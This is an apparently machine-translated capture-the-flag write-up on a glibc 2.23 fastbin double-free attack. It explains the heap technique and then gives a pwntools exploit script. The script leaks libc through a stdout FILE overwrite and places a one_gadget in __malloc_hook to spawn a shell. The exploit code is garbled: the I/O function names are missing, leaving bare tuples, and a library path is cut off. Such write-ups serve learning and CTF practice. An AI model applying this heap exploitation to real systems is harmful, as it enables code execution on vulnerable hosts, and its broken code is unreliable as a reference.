Fastbin_attack of Frequent Home Visitor
principle analysis
Here is the main look at fastbin, before glibc2.26 the check on fastbin double free is not so strict, that is to say, if there is a UAF vulnerability inside the program, we just need to free the first heap block followed by freeing a different heap block, freeing the first heap block again, resulting in a double free, realizing heap block Falsification and overlapping of heap blocks.
That is, a situation like the following
Inside pwngdb it looks like this
Then the next request for a heap block will request chunk0 away, and if the fd pointer to chunk0 is modified at this time then it will result in adding the fake_chunk to the fastbin chain table
It's something like this
Then the heap block overlap can be realized
Example Demonstration
Protection of titles
64-bit ida reverse
menu
add function, there is an upper limit on the number of heap blocks, apply for a heap block before applying for a 0x28 size of the control heap block, in the control heap block +8 position to write the address of the data heap block, and then finally can be to the control heap block +16 at the address of the data can be entered into the 23 bytes of data
free function, which is vulnerable to a UAF vulnerability, and can be double free.
show function, no real functionality
analyze
The program does not have show function, we apply for heap block when we first apply to the control heap block, and then their own input size of the heap block, but there is a limit on the size of the result is not difficult to apply to the unsortbin range of size of the chunk, but we can enter the contents of the control heap block, resulting in the chunk can be forged to the size of the bit to leak libc address can only be location of the heap block realization of overlapping heap blocks, the program has a UAF vulnerability, you can double free so that you can fake heap blocks, modify the size for the unsortbin size range and then free off the heap block
At this point in time, the heap block situation
But at this time the heap block size bit is 0x91, when applying the heap block fastbin has a check, so we have to recover the size of the heap block, but since there is no show function, you can apply the heap block to the IO structure, modify the _IO_write_base resulting in leakage of the libc address, and you need to blast the high byte if you are remote.
Heap block 7 in order to prevent the control heap block from cutting unsortbin chunks when applying for a heap block.
Then you can use the same technique to set up one_gadget on the __malloc_hook and __realloc_hook to get the shell
EXP
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('../pwn162')
#io = remote('', 28304)
libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.')
def Add(size,name,msg=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
("Your choice : ", '1')
("size of the daniu's name: \n", str(size))
("daniu's name:\n", name)
("daniu's message:\n", msg)
def Delete(idx):
("Your choice : ", '3')
("daniu's index:\n", str(idx))
()
Add(0x60, 14 * p64(0x71)) # 0
Add(0x60, 14 * p64(0x71)) # 1
#(io)
Delete(0)
Delete(1)
Delete(0)
(io)
Add(0x60, '\x20') # 2
Add(0x60, '\x20') # 3
Add(0x60, '\x20') # 4
Add(0x60, p64(0) + p64(0x71)) # 5
#(io)
Delete(0)
Delete(5)
Add(0x60, p64(0) + p64(0x91)) # 6
Add(0x20, 'bbbb') # 7
Delete(0)
Delete(5)
Delete(7)
Add(0x60, p64(0) + p64(0x71) + b'\xdd\x45') # 8
#(io)
Delete(7)
Add(0x60, 'deadbeef') # 9
Delete(7)
#(io)
("Your choice : ", '1')
("size of the daniu's name: \n", str(0x60))
("daniu's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
libc_base = u64((6).ljust(8,b'\x00')) - 0x3c46a3
success('libc_base---->'+hex(libc_base))
pause()
malloc_hook = libc_base +['__malloc_hook']
one = libc_base + 0xf1147
realloc = libc_base + ['__realloc_hook']
#(io)
('a')
Delete(5)
Delete(0)
Delete(5)
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
payload = b'a'*0xb + p64(one) + p64(realloc)
#(io)
Add(0x60,payload)
#(io)
("Your choice : ", '1')
()